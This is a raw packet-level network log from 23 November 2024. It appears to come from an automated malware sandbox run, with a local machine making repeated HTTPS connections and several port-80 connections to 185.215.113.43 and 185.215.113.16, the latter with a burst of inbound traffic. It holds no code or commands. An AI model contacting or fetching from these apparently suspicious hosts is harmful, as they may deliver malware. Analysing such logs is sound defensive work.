Nov 23, 2024 20:23:01.855571032 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855735064 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855772018 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855846882 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.857062101 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.857081890 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.857120991 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.857268095 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.857305050 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.857363939 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.859581947 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.859596014 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.860575914 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.860584974 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.860616922 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.860641956 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.861686945 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.861700058 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.861814976 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.861828089 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.638442993 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.639029026 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.639049053 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.639558077 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.639564037 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.649955034 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.650293112 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.650311947 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.650635004 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.650640011 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.712307930 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.712634087 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.712649107 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.712992907 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.713000059 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.720715046 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.721069098 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.721082926 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.721393108 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.721398115 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.768774033 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:03.783421993 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.784133911 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.784146070 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.784501076 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:03.784506083 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:03.888890982 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:03.889024973 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:03.889209032 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:04.010082006 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:04.072346926 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.072424889 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.072525978 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.072666883 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.072675943 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.072686911 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.072691917 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.075504065 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.075578928 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.075706959 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.075854063 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.075903893 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.083754063 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.083905935 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.083981991 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.083981991 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.084007025 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.084019899 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.086250067 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.086277008 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.086332083 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.086457968 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.086474895 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.156143904 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.156225920 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.156270981 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.156395912 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.156416893 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.156431913 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.156438112 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.158432007 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.158463955 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.158601046 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.158730984 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.158757925 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.163444996 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.163501024 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.163559914 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.163691044 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.163691044 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.163698912 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.163708925 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.165719032 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.165740013 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.165816069 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.166152954 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.166166067 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.240535021 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.240586042 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.241034985 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.241055012 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.241060019 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.241069078 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.241071939 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.243932962 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.243958950 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:04.244189978 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.244316101 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:04.244330883 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.268682003 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:05.271671057 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:05.810094118 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.810650110 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.810697079 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.811218977 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.811234951 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.930903912 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.932382107 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.932408094 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.932883978 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.932897091 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.976950884 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.977387905 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.977411985 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.977864027 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.977869987 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.998514891 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.998930931 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.998951912 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:05.999320984 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:05.999329090 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.061961889 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.062469006 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.062493086 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.062748909 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.062756062 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.258136988 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.258306026 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.258373022 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.259577036 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.259594917 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.259607077 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.259613037 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.276299953 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.276325941 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.276397943 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.276592970 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.276607990 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.409472942 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.409539938 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.409631014 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.410062075 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.410069942 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.410082102 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.410087109 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.412899971 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.412925959 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.412998915 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.413156033 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.413168907 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.418010950 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.418085098 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.418134928 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.418241024 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.418247938 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.418257952 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.418262005 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.420523882 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.420618057 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.420698881 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.420866966 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.420902967 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.455673933 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.455833912 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.455915928 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.455950975 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.455950975 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.455970049 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.455981970 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.458378077 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.458481073 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.458568096 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.458686113 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.458719969 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.516058922 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.516206980 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.516267061 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.516320944 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.516329050 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.516341925 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.516346931 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.518151045 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.518191099 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.518266916 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.518359900 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:06.518385887 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:06.775248051 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:06.775538921 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:06.901231050 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:06.901309013 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:06.901434898 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:06.901488066 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:06.901514053 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:07.024135113 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:08.059009075 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.059518099 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.059537888 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.059978962 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.059984922 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.135179043 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.135535002 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.135560989 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.135874033 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.135879040 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.288891077 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.289510965 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.289572001 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.289786100 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.289800882 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.317109108 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:08.317186117 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:08.319447041 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.320847988 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.320871115 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.321233988 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.321247101 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.322303057 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:08.356049061 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.356709003 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.356751919 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.357146025 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.357161999 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.542546034 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:08.542695045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:08.543082952 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:08.641705036 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.641765118 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.641889095 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.642146111 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.642163038 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.642175913 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.642180920 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.645452976 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.645478964 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.645561934 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.645792007 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.645803928 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.659029961 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.659107924 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.659168005 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.659245014 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.659259081 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.659271955 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.659276962 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.661576033 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.661611080 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.661688089 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.661879063 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.661891937 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.663079977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:08.785166979 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.785269976 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.785337925 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.785588980 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.785629988 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.785655975 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.785671949 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.788912058 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.788927078 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.789019108 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.789208889 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.789222002 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.890172005 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.890338898 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.890414953 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.890491962 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.890511990 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.890536070 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.890547037 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.893007994 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.893040895 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:08.893124104 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.893338919 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:08.893352032 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.005496979 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.005630016 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.005717039 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:09.005959988 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:09.005995989 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.006022930 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:09.006036997 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.008287907 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:09.008342028 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.008440971 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:09.008622885 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:09.008657932 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:09.884727955 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.884848118 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.884901047 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.884949923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.885509014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.885552883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.885555983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.885566950 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.885644913 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.886413097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.886460066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.886495113 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.886507988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.886532068 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.886559010 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.887470961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.887526989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:09.887571096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:09.887619019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.007951975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.008064032 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.008125067 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.008157969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.012120008 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.012187958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.013879061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.013936043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.013961077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.014007092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.077721119 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.077795029 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.077811956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.077862978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.081729889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.081789017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.081834078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.081876040 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.090189934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.090245962 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.090352058 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.090405941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.098608971 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.098686934 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.098720074 CET	80	49760	185.215.113.16	192.168.2.4
